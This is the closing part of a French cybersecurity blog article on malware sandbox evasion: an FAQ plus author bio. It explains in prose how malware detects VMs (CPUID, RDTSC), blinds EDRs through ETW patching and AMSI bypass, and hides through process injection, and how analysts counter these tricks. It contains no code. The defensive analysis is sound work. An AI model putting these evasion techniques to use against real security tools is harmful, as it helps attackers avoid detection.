Pour les équipes qui sécurisent des environnements d'exécution de code non-contrôlé, les problématiques couvertes dans Sécurité des Agents IA en Production : Sandboxing présentent des analogies directes : isoler l'exécution dans des environnements contrôlés est un défi commun à la malware analysis et à la sécurisation des runtimes LLM. L'exploitation de vulnérabilités dans les moteurs d'analyse eux-mêmes rejoint les problématiques de Browser Exploitation Moderne : V8 Sandbox Escape — une sandbox n'est sécurisée qu'autant que son propre code d'analyse l'est.
Questions fréquentes
Quelle est la différence entre un CPUID check et une RDTSC timing attack ?
CPUID est un check statique et binaire : soit le bit 31 de ECX est à 1 (hyperviseur détecté), soit à 0 (machine physique ou hyperviseur masqué). RDTSC est un check dynamique qui mesure le temps d'exécution en cycles CPU — il détecte non seulement les VM mais aussi toute instrumentation qui ralentit l'exécution (hooks d'API, débogueur, émulation QEMU). Un malware sophistiqué combine les deux : CPUID pour la détection rapide, RDTSC pour confirmer l'absence d'instrumentation même sur une VM correctement configurée pour masquer son hyperviseur.
Est-ce que l'ETW patching fonctionne encore contre les EDR modernes en 2026 ?
Le patch userland d'EtwEventWrite reste efficace contre les EDR qui s'appuient uniquement sur les events ETW en espace utilisateur. Mais les solutions modernes utilisent des providers ETW kernel (Microsoft-Windows-Threat-Intelligence) non patchables depuis le userland, ainsi que VBS/HVCI pour protéger l'intégrité du code. Sur Windows 11 avec HVCI activé et un EDR de nouvelle génération, le patch ETW userland n'aveugle qu'une partie de la télémétrie et est lui-même détecté comme comportement suspect via les callbacks noyau de l'EDR.
Comment forcer l'exécution d'un malware qui refuse de s'activer en sandbox automatisée ?
L'approche par couches donne les meilleurs résultats : d'abord soumettre sur ANY.RUN en mode interactif (neutralise les user interaction checks), puis sur une sandbox bare-metal sur hardware physique (neutralise CPUID/RDTSC). Si l'échantillon reste dormant, analyser statiquement avec Ghidra pour localiser les fonctions de détection, identifier les branches conditionnelles correspondantes, et créer un patch binaire qui force le chemin d'exécution "environnement légitime". En dernier recours, l'émulation de syscalls individuels dans un debugger permet de patcher les retours des fonctions d'évasion à la volée.
Les YARA rules sont-elles suffisantes pour détecter les malwares évasifs ?
Non — les rules couvrent les techniques connues sous leur forme non-obfusquée. Un malware qui hash ses strings (FNV-1a, CRC32), chiffre ses imports, ou utilise de la résolution dynamique d'API via hashes échappe entièrement à l'analyse statique YARA. Les rules doivent être complétées par une analyse comportementale dynamique en sandbox, une analyse mémoire post-exécution avec Volatility, et des règles de hunting sur l'enchaînement d'appels API (séquences comportementales) plutôt que sur les strings statiques. VirusTotal Intelligence permet de croiser efficacement les deux approches.
Quelles techniques d'évasion dominent les campagnes ransomware en 2026 ?
D'après les analyses publiées sur ANY.RUN et les rapports ANSSI, les ransomwares modernes combinent systématiquement : process injection (process hollowing ou module stomping) pour masquer le payload en mémoire, AMSI bypass pour protéger les loaders PowerShell des stagers, parent process spoofing pour contourner les règles de détection basées sur l'arbre parent-enfant, et sleep evasion via direct syscall NtDelayExecution pour échapper à la compression temporelle des sandbox. Les checks CPUID sont généralement réservés aux phases de reconnaissance initiale — les ransomwares ciblant des infrastructures Active Directory opèrent souvent sur des serveurs virtualisés légitimes et adaptent leur logique d'évasion VM en conséquence.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
[email protected]
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
Un projet cybersécurité ? Parlons-en.
Pentest, conformité NIS 2, ISO 27001, audit IA, RSSI externalisé… nos experts répondent sous 24h pour évaluer votre besoin et vous proposer un accompagnement sur mesure.
Commentaires (1)
Laisser un commentaire